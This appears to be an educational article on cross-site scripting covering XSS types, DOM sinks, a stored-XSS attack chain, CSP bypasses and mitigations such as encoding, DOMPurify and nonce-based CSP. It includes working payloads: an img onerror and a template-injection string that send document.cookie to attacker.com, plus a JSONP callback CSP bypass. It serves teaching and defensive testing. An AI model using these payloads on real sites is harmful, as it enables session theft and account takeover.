Cross-site scripting (XSS) is the attack that never dies. Despite widespread awareness, it still dominates bug bounty submissions and breach reports. The reason: modern JavaScript-heavy SPAs create new DOM sinks faster than developers learn to sanitise them.
The Three Families
- Reflected — payload comes from the request, rendered once, not persisted
- Stored — payload is saved server-side and served to every visitor
- DOM-based — the vulnerability exists entirely in client-side JavaScript; the server never sees the payload
DOM-based XSS is the most underappreciated. A scanner that only looks at server responses will miss it entirely.
DOM Sinks to Hunt
Any JavaScript property or method that writes untrusted data into the live DOM is a sink:
// High-severity sinks
element.innerHTML = location.hash; // parses HTML tags
document.write(location.search); // rebuilds the document
eval(atob(localStorage.getItem('code'))); // executes arbitrary code
// Lower-severity but escalatable
element.src = userInput; // script src → XSS
element.href = userInput; // javascript: URI
element.action = userInput; // form hijack
The source (location.hash, location.search, postMessage, etc.) delivers attacker-controlled data. Trace the data flow from source to sink — if there's no sanitisation or encoding in between, it's vulnerable.
Building a Stored XSS Chain
Stored XSS is the most impactful variant because a single injection fires for every subsequent visitor, including admins. A classic chain:
- Inject a payload into a comment field, profile bio, or any persisted input
- The server stores raw HTML (or strips tags but misses an attribute injection vector)
- Admin loads the page — payload fires in their browser
- Exfiltrate the admin's session cookie via
fetchto your collector
// Payload stored in a comment
<img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)">
Even HttpOnly cookies are bypassed by harvesting CSRF tokens, session-bound API keys, or just recording the keystrokes of privileged users.
Content Security Policy — and Why It Fails
CSP is the recommended defence. A well-configured policy blocks inline scripts and restricts script-src to a whitelist. But most real-world CSP deployments are bypassable.
unsafe-inline Defeats the Point
Any policy containing 'unsafe-inline' allows arbitrary inline scripts. This is common because developers need to support legacy inline code.
JSONP Endpoints on Whitelisted Domains
If your CSP whitelist includes a CDN or API domain that hosts a JSONP endpoint:
Content-Security-Policy: script-src 'self' https://api.partner.com
<script src="https://api.partner.com/data?callback=alert(1)//"></script>
The browser fetches and executes it — the domain is trusted.
Angular / Vue Template Injection
If you can inject into a client-side template:
{{constructor.constructor('fetch("https://attacker.com?c="+document.cookie)()')()}}
This bypasses CSP because the trusted Angular/Vue runtime evaluates the expression — no <script> tag needed.
Effective Mitigations
Encoding is the primary control. Encode for the context you're writing into:
| Context | Encoding |
|---|---|
| HTML body | < > & " |
| HTML attribute | Same + encode single quotes |
| JavaScript string | \xNN Unicode escapes |
| URL parameter | encodeURIComponent() |
DOMPurify is the gold standard for sanitising HTML that genuinely needs to be rich:
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userContent);
CSP as defence-in-depth — use nonces, not wildcards:
Content-Security-Policy: script-src 'nonce-{random}' 'strict-dynamic';
A per-request nonce means even if an attacker injects a <script> tag, it won't execute without the correct nonce.
Hunting XSS in Practice
- Map all data entry points — forms, URL parameters,
postMessagelisteners, localStorage reads - Trace DOM sinks in the client-side bundle (search for
innerHTML,document.write,eval) - Check if the framework's template engine is being bypassed (e.g.,
v-htmlin Vue,dangerouslySetInnerHTMLin React) - Test CSP in Google's CSP Evaluator before declaring it safe
XSS is a client-side vulnerability with server-side consequences — treat it that way during both development and assessment.

